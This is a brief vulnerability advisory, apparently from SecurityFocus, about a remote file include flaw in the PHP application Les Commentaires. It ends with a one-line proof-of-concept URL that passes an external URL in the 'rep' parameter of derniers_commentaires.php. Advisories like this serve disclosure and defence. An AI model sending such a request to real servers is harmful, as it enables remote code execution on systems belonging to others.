source: https://www.securityfocus.com/bid/9536/info

It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system.

All versions of Les Commentaires have been reported to be prone to this issue.

http://www.example.com/derniers_commentaires.php?rep=http://www.example.com/